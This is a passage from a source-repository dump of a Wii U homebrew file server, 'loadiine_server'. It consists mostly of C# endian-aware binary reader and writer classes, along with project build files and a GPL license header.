break; } case BYTE_READ_FILE_WITH_POS: { Log(log, name + " FSReadFileWithPos()"); break; } case BYTE_READ_DIR: { Log(log, name + " FSReadDir()"); break; } case BYTE_READ_DIR_ASYNC: { Log(log, name + " FSReadDirAsync()"); break; } case BYTE_GET_CWD: { Log(log, name + " FSGetCwd()"); break; } case BYTE_SET_STATE_CHG_NOTIF: { Log(log, name + " FSSetStateChangeNotification()"); break; } case BYTE_TRUNCATE_FILE: { Log(log, name + " FSTruncateFile()"); break; } case BYTE_WRITE_FILE: { Log(log, name + " FSWriteFile()"); break; } case BYTE_WRITE_FILE_WITH_POS: { Log(log, name + " FSWriteFileWithPos()"); break; } case BYTE_CREATE_THREAD: { Log(log, name + " CreateThread()"); break; } default: throw new InvalidDataException(); } } } } catch (Exception e) { if (log != null) Log(log, name + " " + e.Message); else Console.WriteLine(name + " " + e.Message); } finally { if (log != null) log.Close(); } Console.WriteLine(name + " Exit"); } } } ================================================ FILE: server/src/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("loadiine_server")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("loadiine_server")] [assembly: AssemblyCopyright("")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("fc022709-becf-498f-9a2a-dc3543457b0d")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")] ================================================ FILE: server/src/System/IO/EndianBinaryReader.cs ================================================ using System.Collections.Generic; using System.Runtime.InteropServices; using System.Text; namespace System.IO { sealed class EndianBinaryReader : IDisposable { private bool disposed; private byte[] buffer; private delegate void ArrayReverse(byte[] array, int count); private static readonly ArrayReverse[] fastReverse = new ArrayReverse[] { null, null, ArrayReverse2, null, ArrayReverse4, null, null, null, ArrayReverse8 }; private static Dictionary>> parserCache = new Dictionary>>(); public Stream BaseStream { get; private set; } public Endianness Endianness { get; set; } public static Endianness SystemEndianness { get { return BitConverter.IsLittleEndian ? Endianness.LittleEndian : Endianness.BigEndian; } } private bool Reverse { get { return SystemEndianness != Endianness; } } public EndianBinaryReader(Stream baseStream) : this(baseStream, Endianness.BigEndian) { } public EndianBinaryReader(Stream baseStream, Endianness endianness) { if (baseStream == null) throw new ArgumentNullException("baseStream"); if (!baseStream.CanRead) throw new ArgumentException("base stream is not readable.", "baseStream"); BaseStream = baseStream; Endianness = endianness; } ~EndianBinaryReader() { Dispose(false); } /// /// Fills the buffer with bytes bytes, possibly reversing every stride. Bytes must be a multiple of stide. Stide must be 1 or 2 or 4 or 8. /// /// /// private void FillBuffer(int bytes, int stride) { if (buffer == null || buffer.Length < bytes) buffer = new byte[bytes]; for (int i = 0, read = 0; i < bytes; i += read) { read = BaseStream.Read(buffer, i, bytes - i); if (read <= 0) throw new EndOfStreamException(); } if (Reverse) { if (fastReverse[stride] != null) fastReverse[stride](buffer, bytes); else for (int i = 0; i < bytes; i += stride) { Array.Reverse(buffer, i, stride); } } } private static void ArrayReverse2(byte[] array, int arrayLength) { byte temp; while (arrayLength > 0) { temp = array[arrayLength - 2]; array[arrayLength - 2] = array[arrayLength - 1]; array[arrayLength - 1] = temp; arrayLength -= 2; } } private static void ArrayReverse4(byte[] array, int arrayLength) { byte temp; while (arrayLength > 0) { temp = array[arrayLength - 3]; array[arrayLength - 3] = array[arrayLength - 2]; array[arrayLength - 2] = temp; temp = array[arrayLength - 4]; array[arrayLength - 4] = array[arrayLength - 1]; array[arrayLength - 1] = temp; arrayLength -= 4; } } private static void ArrayReverse8(byte[] array, int arrayLength) { byte temp; while (arrayLength > 0) { temp = array[arrayLength - 5]; array[arrayLength - 5] = array[arrayLength - 4]; array[arrayLength - 4] = temp; temp = array[arrayLength - 6]; array[arrayLength - 6] = array[arrayLength - 3]; array[arrayLength - 3] = temp; temp = array[arrayLength - 7]; array[arrayLength - 7] = array[arrayLength - 2]; array[arrayLength - 2] = temp; temp = array[arrayLength - 8]; array[arrayLength - 8] = array[arrayLength - 1]; array[arrayLength - 1] = temp; arrayLength -= 8; } } public byte ReadByte() { FillBuffer(1, 1); return buffer[0]; } public byte[] ReadBytes(int count) { byte[] temp; FillBuffer(count, 1); temp = new byte[count]; Array.Copy(buffer, 0, temp, 0, count); return temp; } public sbyte ReadSByte() { FillBuffer(1, 1); unchecked { return (sbyte)buffer[0]; } } public sbyte[] ReadSBytes(int count) { sbyte[] temp; temp = new sbyte[count]; FillBuffer(count, 1); unchecked { for (int i = 0; i < count; i++) { temp[i] = (sbyte)buffer[i]; } } return temp; } public char ReadChar(Encoding encoding) { int size; if (encoding == null) throw new ArgumentNullException("encoding"); size = GetEncodingSize(encoding); FillBuffer(size, size); return encoding.GetChars(buffer, 0, size)[0]; } public char[] ReadChars(Encoding encoding, int count) { int size; if (encoding == null) throw new ArgumentNullException("encoding"); size = GetEncodingSize(encoding); FillBuffer(size * count, size); return encoding.GetChars(buffer, 0, size * count); } private static int GetEncodingSize(Encoding encoding) { if (encoding == Encoding.UTF8 || encoding == Encoding.ASCII) return 1; else if (encoding == Encoding.Unicode || encoding == Encoding.BigEndianUnicode) return 2; return 1; } public string ReadStringNT(Encoding encoding) { string text; text = ""; do { text += ReadChar(encoding); } while (!text.EndsWith("\0", StringComparison.Ordinal)); return text.Remove(text.Length - 1); } public string ReadString(Encoding encoding, int count) { return new string(ReadChars(encoding, count)); } public double ReadDouble() { const int size = sizeof(double); FillBuffer(size, size); return BitConverter.ToDouble(buffer, 0); } public double[] ReadDoubles(int count) { const int size = sizeof(double); double[] temp; temp = new double[count]; FillBuffer(size * count, size); for (int i = 0; i < count; i++) { temp[i] = BitConverter.ToDouble(buffer, size * i); } return temp; } public Single ReadSingle() { const int size = sizeof(Single); FillBuffer(size, size); return BitConverter.ToSingle(buffer, 0); } public Single[] ReadSingles(int count) { const int size = sizeof(Single); Single[] temp; temp = new Single[count]; FillBuffer(size * count, size); for (int i = 0; i < count; i++) { temp[i] = BitConverter.ToSingle(buffer, size * i); } return temp; } public Int32 ReadInt32() { const int size = sizeof(Int32); FillBuffer(size, size); return BitConverter.ToInt32(buffer, 0); } public Int32[] ReadInt32s(int count) { const int size = sizeof(Int32); Int32[] temp; temp = new Int32[count]; FillBuffer(size * count, size); for (int i = 0; i < count; i++) { temp[i] = BitConverter.ToInt32(buffer, size * i); } return temp; } public Int64 ReadInt64() { const int size = sizeof(Int64); FillBuffer(size, size); return BitConverter.ToInt64(buffer, 0); } public Int64[] ReadInt64s(int count) { const int size = sizeof(Int64); Int64[] temp; temp = new Int64[count]; FillBuffer(size * count, size); for (int i = 0; i < count; i++) { temp[i] = BitConverter.ToInt64(buffer, size * i); } return temp; } public Int16 ReadInt16() { const int size = sizeof(Int16); FillBuffer(size, size); return BitConverter.ToInt16(buffer, 0); } public Int16[] ReadInt16s(int count) { const int size = sizeof(Int16); Int16[] temp; temp = new Int16[count]; FillBuffer(size * count, size); for (int i = 0; i < count; i++) { temp[i] = BitConverter.ToInt16(buffer, size * i); } return temp; } public UInt16 ReadUInt16() { const int size = sizeof(UInt16); FillBuffer(size, size); return BitConverter.ToUInt16(buffer, 0); } public UInt16[] ReadUInt16s(int count) { const int size = sizeof(UInt16); UInt16[] temp; temp = new UInt16[count]; FillBuffer(size * count, size); for (int i = 0; i < count; i++) { temp[i] = BitConverter.ToUInt16(buffer, size * i); } return temp; } public UInt32 ReadUInt32() { const int size = sizeof(UInt32); FillBuffer(size, size); return BitConverter.ToUInt32(buffer, 0); } public UInt32[] ReadUInt32s(int count) { const int size = sizeof(UInt32); UInt32[] temp; temp = new UInt32[count]; FillBuffer(size * count, size); for (int i = 0; i < count; i++) { temp[i] = BitConverter.ToUInt32(buffer, size * i); } return temp; } public UInt64 ReadUInt64() { const int size = sizeof(UInt64); FillBuffer(size, size); return BitConverter.ToUInt64(buffer, 0); } public UInt64[] ReadUInt64s(int count) { const int size = sizeof(UInt64); UInt64[] temp; temp = new UInt64[count]; FillBuffer(size * count, size); for (int i = 0; i < count; i++) { temp[i] = BitConverter.ToUInt64(buffer, size * i); } return temp; } private List> GetParser(Type type) { List> parser; /* A parser describes how to read in a type in an Endian * appropriate manner. Basically it describes as series of calls to * the Read* methods above to parse the structure. * The parser runs through each element in the list in order. If * the TypeCode is not Empty then it reads an array of values * according to the integer. Otherwise it skips a number of bytes. */ try { parser = parserCache[type]; } catch (KeyNotFoundException) { parser = new List>(); if (Endianness != SystemEndianness) { int pos, sz; pos = 0; foreach (var item in type.GetFields()) { int off = Marshal.OffsetOf(type, item.Name).ToInt32(); if (off != pos) { parser.Add(new Tuple(off - pos, TypeCode.Empty)); pos = off; } switch (Type.GetTypeCode(item.FieldType)) { case TypeCode.Byte: case TypeCode.SByte: pos += 1; parser.Add(new Tuple(1, Type.GetTypeCode(item.FieldType))); break; case TypeCode.Int16: case TypeCode.UInt16: pos += 2; parser.Add(new Tuple(1, Type.GetTypeCode(item.FieldType))); break; case TypeCode.Int32: case TypeCode.UInt32: case TypeCode.Single: pos += 4; parser.Add(new Tuple(1, Type.GetTypeCode(item.FieldType))); break; case TypeCode.Int64: case TypeCode.UInt64: case TypeCode.Double: pos += 8; parser.Add(new Tuple(1, Type.GetTypeCode(item.FieldType))); break; case TypeCode.Object: if (item.FieldType.IsArray) { /* array */ Type elementType; MarshalAsAttribute[] attrs; MarshalAsAttribute attr; attrs = (MarshalAsAttribute[])item.GetCustomAttributes(typeof(MarshalAsAttribute), false); if (attrs.Length != 1) throw new ArgumentException(String.Format("Field `{0}' is an array without a MarshalAs attribute.", item.Name), "type"); attr = attrs[0]; if (attr.Value != UnmanagedType.ByValArray) throw new ArgumentException(String.Format("Field `{0}' is not a ByValArray.", item.Name), "type"); elementType = item.FieldType.GetElementType(); switch (Type.GetTypeCode(elementType)) { case TypeCode.Byte: case TypeCode.SByte: pos += 1 * attr.SizeConst; parser.Add(new Tuple(attr.SizeConst, Type.GetTypeCode(elementType))); break; case TypeCode.Int16: case TypeCode.UInt16: pos += 2 * attr.SizeConst; parser.Add(new Tuple(attr.SizeConst, Type.GetTypeCode(elementType))); break; case TypeCode.Int32: case TypeCode.UInt32: case TypeCode.Single: pos += 4 * attr.SizeConst; parser.Add(new Tuple(attr.SizeConst, Type.GetTypeCode(elementType))); break; case TypeCode.Int64: case TypeCode.UInt64: case TypeCode.Double: pos += 8 * attr.SizeConst; parser.Add(new Tuple(attr.SizeConst, Type.GetTypeCode(elementType))); break; case TypeCode.Object: /* nested structure */ for (int i = 0; i < attr.SizeConst; i++) { pos += Marshal.SizeOf(elementType); parser.AddRange(GetParser(elementType)); } break; default: break; } } else { /* nested structure */ pos += Marshal.SizeOf(item.FieldType); parser.AddRange(GetParser(item.FieldType)); } break; default: throw new NotImplementedException(); } } sz = Marshal.SizeOf(type); if (sz != pos) { parser.Add(new Tuple(sz - pos, TypeCode.Empty)); } } else { int sz; sz = Marshal.SizeOf(type); parser.Add(new Tuple(sz, TypeCode.Byte)); } parserCache.Add(type, parser); } return parser; } private void RunParser(List> parser, BinaryWriter wr) { foreach (var item in parser) { /* Assumption: Types of the same size can be interchanged. */ switch (item.Item2) { case TypeCode.Byte: case TypeCode.SByte: wr.Write(ReadBytes(item.Item1), 0, item.Item1); break; case TypeCode.Int16: case TypeCode.UInt16: foreach (var val in ReadInt16s(item.Item1)) wr.Write(val); break; case TypeCode.Int32: case TypeCode.UInt32: case TypeCode.Single: foreach (var val in ReadInt32s(item.Item1)) wr.Write(val); break; case TypeCode.Int64: case TypeCode.UInt64: case TypeCode.Double: foreach (var val in ReadInt64s(item.Item1)) wr.Write(val); break; case TypeCode.Empty: BaseStream.Seek(item.Item1, SeekOrigin.Current); wr.BaseStream.Seek(item.Item1, SeekOrigin.Current); break; default: throw new NotImplementedException(); } } } public object ReadStructure(Type type) { List> parser; object result; parser = GetParser(type); using (var ms = new MemoryStream()) { using (var wr = new BinaryWriter(ms)) { RunParser(parser, wr); } result = Marshal.PtrToStructure(Marshal.UnsafeAddrOfPinnedArrayElement(ms.ToArray(), 0), type); } return result; } public Array ReadStructures(Type type, int count) { List> parser; Array result; parser = GetParser(type); result = Array.CreateInstance(type, count); using (var ms = new MemoryStream()) { using (var wr = new BinaryWriter(ms)) { for (int i = 0; i < count; i++) { ms.Seek(0, SeekOrigin.Begin); RunParser(parser, wr); result.SetValue(Marshal.PtrToStructure(Marshal.UnsafeAddrOfPinnedArrayElement(ms.ToArray(), 0), type), i); } } } return result; } public void Close() { BaseStream.Close(); } public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } private void Dispose(bool disposing) { if (!disposed) { if (disposing) { } BaseStream = null; buffer = null; disposed = true; } } } enum Endianness { BigEndian, LittleEndian, } } ================================================ FILE: server/src/System/IO/EndianBinaryWriter.cs ================================================ using System.Collections.Generic; using System.Runtime.InteropServices; using System.Text; namespace System.IO { sealed class EndianBinaryWriter : IDisposable { private bool disposed; private byte[] buffer; private delegate void ArrayReverse(byte[] array, int count); private static readonly ArrayReverse[] fastReverse = new ArrayReverse[] { null, null, ArrayReverse2, null, ArrayReverse4, null, null, null, ArrayReverse8 }; private static Dictionary>> parserCache = new Dictionary>>(); public Stream BaseStream { get; private set; } public Endianness Endianness { get; set; } public static Endianness SystemEndianness { get { return BitConverter.IsLittleEndian ? Endianness.LittleEndian : Endianness.BigEndian; } } private bool Reverse { get { return SystemEndianness != Endianness; } } public EndianBinaryWriter(Stream baseStream) : this(baseStream, Endianness.BigEndian) { } public EndianBinaryWriter(Stream baseStream, Endianness endianness) { if (baseStream == null) throw new ArgumentNullException("baseStream"); if (!baseStream.CanWrite) throw new ArgumentException("base stream is not writeable", "baseStream"); BaseStream = baseStream; Endianness = endianness; } ~EndianBinaryWriter() { Dispose(false); } private void WriteBuffer(int bytes, int stride) { if (Reverse) { if (fastReverse[stride] != null) fastReverse[stride](buffer, bytes); else for (int i = 0; i < bytes; i += stride) { Array.Reverse(buffer, i, stride); } } BaseStream.Write(buffer, 0, bytes); } private static void ArrayReverse2(byte[] array, int arrayLength) { byte temp; while (arrayLength > 0) { temp = array[arrayLength - 2]; array[arrayLength - 2] = array[arrayLength - 1]; array[arrayLength - 1] = temp; arrayLength -= 2; } } private static void ArrayReverse4(byte[] array, int arrayLength) { byte temp; while (arrayLength > 0) { temp = array[arrayLength - 3]; array[arrayLength - 3] = array[arrayLength - 2]; array[arrayLength - 2] = temp; temp = array[arrayLength - 4]; array[arrayLength - 4] = array[arrayLength - 1]; array[arrayLength - 1] = temp; arrayLength -= 4; } } private static void ArrayReverse8(byte[] array, int arrayLength) { byte temp; while (arrayLength > 0) { temp = array[arrayLength - 5]; array[arrayLength - 5] = array[arrayLength - 4]; array[arrayLength - 4] = temp; temp = array[arrayLength - 6]; array[arrayLength - 6] = array[arrayLength - 3]; array[arrayLength - 3] = temp; temp = array[arrayLength - 7]; array[arrayLength - 7] = array[arrayLength - 2]; array[arrayLength - 2] = temp; temp = array[arrayLength - 8]; array[arrayLength - 8] = array[arrayLength - 1]; array[arrayLength - 1] = temp; arrayLength -= 8; } } private void CreateBuffer(int size) { if (buffer == null || buffer.Length < size) buffer = new byte[size]; } public void Write(byte value) { CreateBuffer(1); buffer[0] = value; WriteBuffer(1, 1); } public void Write(byte[] value, int offset, int count) { CreateBuffer(count); Array.Copy(value, offset, buffer, 0, count); WriteBuffer(count, 1); } public void Write(sbyte value) { CreateBuffer(1); unchecked { buffer[0] = (byte)value; } WriteBuffer(1, 1); } public void Write(sbyte[] value, int offset, int count) { CreateBuffer(count); unchecked { for (int i = 0; i < count; i++) { buffer[i] = (byte)value[i + offset]; } } WriteBuffer(count, 1); } public void Write(char value, Encoding encoding) { int size; if (encoding == null) throw new ArgumentNullException("encoding"); size = GetEncodingSize(encoding); CreateBuffer(size); Array.Copy(encoding.GetBytes(new string(value, 1)), 0, buffer, 0, size); WriteBuffer(size, size); } public void Write(char[] value, int offset, int count, Encoding encoding) { int size; if (encoding == null) throw new ArgumentNullException("encoding"); size = GetEncodingSize(encoding); CreateBuffer(size * count); Array.Copy(encoding.GetBytes(value, offset, count), 0, buffer, 0, count * size); WriteBuffer(size * count, size); } private static int GetEncodingSize(Encoding encoding) { if (encoding == Encoding.UTF8 || encoding == Encoding.ASCII) return 1; else if (encoding == Encoding.Unicode || encoding == Encoding.BigEndianUnicode) return 2; return 1; } public void Write(string value,Encoding encoding, bool nullTerminated) { Write(value.ToCharArray(), 0, value.Length, encoding); if (nullTerminated) Write('\0', encoding); } public void Write(double value) { const int size = sizeof(double); CreateBuffer(size); Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size); WriteBuffer(size, size); } public void Write(double[] value, int offset, int count) { const int size = sizeof(double); CreateBuffer(size * count); for (int i = 0; i < count; i++) { Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size); } WriteBuffer(size * count, size); } public void Write(Single value) { const int size = sizeof(Single); CreateBuffer(size); Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size); WriteBuffer(size, size); } public void Write(Single[] value, int offset, int count) { const int size = sizeof(Single); CreateBuffer(size * count); for (int i = 0; i < count; i++) { Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size); } WriteBuffer(size * count, size); } public void Write(Int32 value) { const int size = sizeof(Int32); CreateBuffer(size); Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size); WriteBuffer(size, size); } public void Write(Int32[] value, int offset, int count) { const int size = sizeof(Int32); CreateBuffer(size * count); for (int i = 0; i < count; i++) { Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size); } WriteBuffer(size * count, size); } public void Write(Int64 value) { const int size = sizeof(Int64); CreateBuffer(size); Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size); WriteBuffer(size, size); } public void Write(Int64[] value, int offset, int count) { const int size = sizeof(Int64); CreateBuffer(size * count); for (int i = 0; i < count; i++) { Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size); } WriteBuffer(size * count, size); } public void Write(Int16 value) { const int size = sizeof(Int16); CreateBuffer(size); Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size); WriteBuffer(size, size); } public void Write(Int16[] value, int offset, int count) { const int size = sizeof(Int16); CreateBuffer(size * count); for (int i = 0; i < count; i++) { Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size); } WriteBuffer(size * count, size); } public void Write(UInt16 value) { const int size = sizeof(UInt16); CreateBuffer(size); Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size); WriteBuffer(size, size); } public void Write(UInt16[] value, int offset, int count) { const int size = sizeof(UInt16); CreateBuffer(size * count); for (int i = 0; i < count; i++) { Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size); } WriteBuffer(size * count, size); } public void Write(UInt32 value) { const int size = sizeof(UInt32); CreateBuffer(size); Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size); WriteBuffer(size, size); } public void Write(UInt32[] value, int offset, int count) { const int size = sizeof(UInt32); CreateBuffer(size * count); for (int i = 0; i < count; i++) { Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size); } WriteBuffer(size * count, size); } public void Write(UInt64 value) { const int size = sizeof(UInt64); CreateBuffer(size); Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size); WriteBuffer(size, size); } public void Write(UInt64[] value, int offset, int count) { const int size = sizeof(UInt64); CreateBuffer(size * count); for (int i = 0; i < count; i++) { Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size); } WriteBuffer(size * count, size); } public void WritePadding(int multiple, byte padding) { int length = (int)(BaseStream.Position % multiple); if (length != 0) while (length != multiple) { BaseStream.WriteByte(padding); length++; } } public void WritePadding(int multiple, byte padding, long from, int offset) { int length = (int)((BaseStream.Position - from) % multiple); length = (length + offset) % multiple; if (length != 0) while (length != multiple) { BaseStream.WriteByte(padding); length++; } } private List> GetParser(Type type) { List> parser; /* A parser describes how to read in a type in an Endian * appropriate manner. Basically it describes as series of calls to * the Read* methods above to parse the structure. * The parser runs through each element in the list in order. If * the TypeCode is not Empty then it reads an array of values * according to the integer. Otherwise it skips a number of bytes. */ try { parser = parserCache[type]; } catch (KeyNotFoundException) { parser = new List>(); if (Endianness != SystemEndianness) { int pos, sz; pos = 0; foreach (var item in type.GetFields()) { int off = Marshal.OffsetOf(type, item.Name).ToInt32(); if (off != pos) { parser.Add(new Tuple(off - pos, TypeCode.Empty)); pos = off; } switch (Type.GetTypeCode(item.FieldType)) { case TypeCode.Byte: case TypeCode.SByte: pos += 1; parser.Add(new Tuple(1, Type.GetTypeCode(item.FieldType))); break; case TypeCode.Int16: case TypeCode.UInt16: pos += 2; parser.Add(new Tuple(1, Type.GetTypeCode(item.FieldType))); break; case TypeCode.Int32: case TypeCode.UInt32: case TypeCode.Single: pos += 4; parser.Add(new Tuple(1, Type.GetTypeCode(item.FieldType))); break; case TypeCode.Int64: case TypeCode.UInt64: case TypeCode.Double: pos += 8; parser.Add(new Tuple(1, Type.GetTypeCode(item.FieldType))); break; case TypeCode.Object: if (item.FieldType.IsArray) { /* array */ Type elementType; MarshalAsAttribute[] attrs; MarshalAsAttribute attr; attrs = (MarshalAsAttribute[])item.GetCustomAttributes(typeof(MarshalAsAttribute), false); if (attrs.Length != 1) throw new ArgumentException(String.Format("Field `{0}' is an array without a MarshalAs attribute.", item.Name), "type"); attr = attrs[0]; if (attr.Value != UnmanagedType.ByValArray) throw new ArgumentException(String.Format("Field `{0}' is not a ByValArray.", item.Name), "type"); elementType = item.FieldType.GetElementType(); switch (Type.GetTypeCode(elementType)) { case TypeCode.Byte: case TypeCode.SByte: pos += 1 * attr.SizeConst; parser.Add(new Tuple(attr.SizeConst, Type.GetTypeCode(elementType))); break; case TypeCode.Int16: case TypeCode.UInt16: pos += 2 * attr.SizeConst; parser.Add(new Tuple(attr.SizeConst, Type.GetTypeCode(elementType))); break; case TypeCode.Int32: case TypeCode.UInt32: case TypeCode.Single: pos += 4 * attr.SizeConst; parser.Add(new Tuple(attr.SizeConst, Type.GetTypeCode(elementType))); break; case TypeCode.Int64: case TypeCode.UInt64: case TypeCode.Double: pos += 8 * attr.SizeConst; parser.Add(new Tuple(attr.SizeConst, Type.GetTypeCode(elementType))); break; case TypeCode.Object: /* nested structure */ for (int i = 0; i < attr.SizeConst; i++) { pos += Marshal.SizeOf(elementType); parser.AddRange(GetParser(elementType)); } break; default: break; } } else { /* nested structure */ pos += Marshal.SizeOf(item.FieldType); parser.AddRange(GetParser(item.FieldType)); } break; default: throw new NotImplementedException(); } } sz = Marshal.SizeOf(type); if (sz != pos) { parser.Add(new Tuple(sz - pos, TypeCode.Empty)); } } else { int sz; sz = Marshal.SizeOf(type); parser.Add(new Tuple(sz, TypeCode.Byte)); } parserCache.Add(type, parser); } return parser; } private void RunParser(List> parser, BinaryReader rd) { foreach (var item in parser) { /* Assumption: Types of the same size can be interchanged. */ switch (item.Item2) { case TypeCode.Byte: case TypeCode.SByte: Write(rd.ReadBytes(item.Item1), 0, item.Item1); break; case TypeCode.Int16: case TypeCode.UInt16: for (int i = 0; i < item.Item1; i++) Write(rd.ReadInt16()); break; case TypeCode.Int32: case TypeCode.UInt32: case TypeCode.Single: for (int i = 0; i < item.Item1; i++) Write(rd.ReadInt32()); break; case TypeCode.Int64: case TypeCode.UInt64: case TypeCode.Double: for (int i = 0; i < item.Item1; i++) Write(rd.ReadInt64()); break; case TypeCode.Empty: rd.BaseStream.Seek(item.Item1, SeekOrigin.Current); BaseStream.Seek(item.Item1, SeekOrigin.Current); break; default: throw new NotImplementedException(); } } } public void Write(object structure) { List> parser; Type type; byte[] data; type = structure.GetType(); parser = GetParser(type); data = new byte[Marshal.SizeOf(type)]; using (var ms = new MemoryStream(data)) { using (var rd = new BinaryReader(ms)) { Marshal.StructureToPtr(structure, Marshal.UnsafeAddrOfPinnedArrayElement(data, 0), true); RunParser(parser, rd); } } } public void Write(Array structures) { List> parser; Type type; byte[] data; type = structures.GetType().GetElementType(); parser = GetParser(type); data = new byte[Marshal.SizeOf(type)]; using (var ms = new MemoryStream(data)) { using (var rd = new BinaryReader(ms)) { foreach (var structure in structures) { ms.Seek(0, SeekOrigin.Begin); Marshal.StructureToPtr(structure, Marshal.UnsafeAddrOfPinnedArrayElement(data, 0), true); RunParser(parser, rd); } } } } public void Close() { BaseStream.Close(); } public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } private void Dispose(bool disposing) { if (!disposed) { if (disposing) { } BaseStream = null; buffer = null; disposed = true; } } } } ================================================ FILE: server/src/app.config ================================================  ================================================ FILE: server/src/bin/Debug/loadiine_server.exe.config ================================================  ================================================ FILE: server/src/bin/Debug/loadiine_server.vshost.exe.config ================================================  ================================================ FILE: server/src/bin/Debug/loadiine_server.vshost.exe.manifest ================================================  ================================================ FILE: server/src/loadiine_server.csproj ================================================  Debug x86 8.0.30703 2.0 {84FB17D5-D67B-4B9E-9041-00424036BF2E} Exe Properties loadiine_server loadiine_server v4.0 Client 512 x86 true full false bin\Debug\ DEBUG;TRACE prompt 4 x86 pdbonly true bin\Release\ TRACE prompt 4 ================================================ FILE: server/src/loadiine_server.sln ================================================  Microsoft Visual Studio Solution File, Format Version 11.00 # Visual Studio 2010 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "loadiine_server", "loadiine_server.csproj", "{84FB17D5-D67B-4B9E-9041-00424036BF2E}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x86 = Debug|x86 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {84FB17D5-D67B-4B9E-9041-00424036BF2E}.Debug|x86.ActiveCfg = Debug|x86 {84FB17D5-D67B-4B9E-9041-00424036BF2E}.Debug|x86.Build.0 = Debug|x86 {84FB17D5-D67B-4B9E-9041-00424036BF2E}.Release|x86.ActiveCfg = Release|x86 {84FB17D5-D67B-4B9E-9041-00424036BF2E}.Release|x86.Build.0 = Release|x86 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection EndGlobal ================================================ FILE: server/src/obj/x86/Debug/cafiine_server.csproj.FileListAbsolute.txt ================================================ C:\Users\golden\Desktop\cafiine532-v1.2-dump_files\cafiine532-v1.2-dump_files\cafiine\server\src\bin\Debug\cafiine_server.exe.config C:\Users\golden\Desktop\cafiine532-v1.2-dump_files\cafiine532-v1.2-dump_files\cafiine\server\src\bin\Debug\cafiine_server.exe C:\Users\golden\Desktop\cafiine532-v1.2-dump_files\cafiine532-v1.2-dump_files\cafiine\server\src\bin\Debug\cafiine_server.pdb C:\Users\golden\Desktop\cafiine532-v1.2-dump_files\cafiine532-v1.2-dump_files\cafiine\server\src\obj\x86\Debug\ResolveAssemblyReference.cache C:\Users\golden\Desktop\cafiine532-v1.2-dump_files\cafiine532-v1.2-dump_files\cafiine\server\src\obj\x86\Debug\cafiine_server.exe C:\Users\golden\Desktop\cafiine532-v1.2-dump_files\cafiine532-v1.2-dump_files\cafiine\server\src\obj\x86\Debug\cafiine_server.pdb C:\Users\golden\Desktop\supercafiine\src\obj\x86\Debug\ResolveAssemblyReference.cache C:\Users\golden\Desktop\supercafiine\src\bin\Debug\loadiine_server.exe.config C:\Users\golden\Desktop\supercafiine\src\bin\Debug\loadiine_server.exe C:\Users\golden\Desktop\supercafiine\src\bin\Debug\loadiine_server.pdb C:\Users\golden\Desktop\supercafiine\src\obj\x86\Debug\loadiine_server.exe C:\Users\golden\Desktop\supercafiine\src\obj\x86\Debug\loadiine_server.pdb ================================================ FILE: server/src/obj/x86/Debug/loadiine_server.csproj.FileListAbsolute.txt ================================================ C:\Users\golden\Desktop\supercafiine\src\bin\Debug\loadiine_server.exe.config C:\Users\golden\Desktop\supercafiine\src\obj\x86\Debug\loadiine_server.exe C:\Users\golden\Desktop\supercafiine\src\obj\x86\Debug\loadiine_server.pdb C:\Users\golden\Desktop\supercafiine\src\bin\Debug\loadiine_server.exe C:\Users\golden\Desktop\supercafiine\src\bin\Debug\loadiine_server.pdb C:\Users\golden\Desktop\supercafiine\src\obj\x86\Debug\ResolveAssemblyReference.cache C:\Users\golden\Desktop\loadiine_server\src\bin\Debug\loadiine_server.exe.config C:\Users\golden\Desktop\loadiine_server\src\obj\x86\Debug\loadiine_server.exe C:\Users\golden\Desktop\loadiine_server\src\obj\x86\Debug\loadiine_server.pdb C:\Users\golden\Desktop\loadiine_server\src\bin\Debug\loadiine_server.exe C:\Users\golden\Desktop\loadiine_server\src\bin\Debug\loadiine_server.pdb C:\Users\golden\Desktop\loadiine_server\src\obj\x86\Debug\ResolveAssemblyReference.cache ================================================ FILE: src/Application.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more 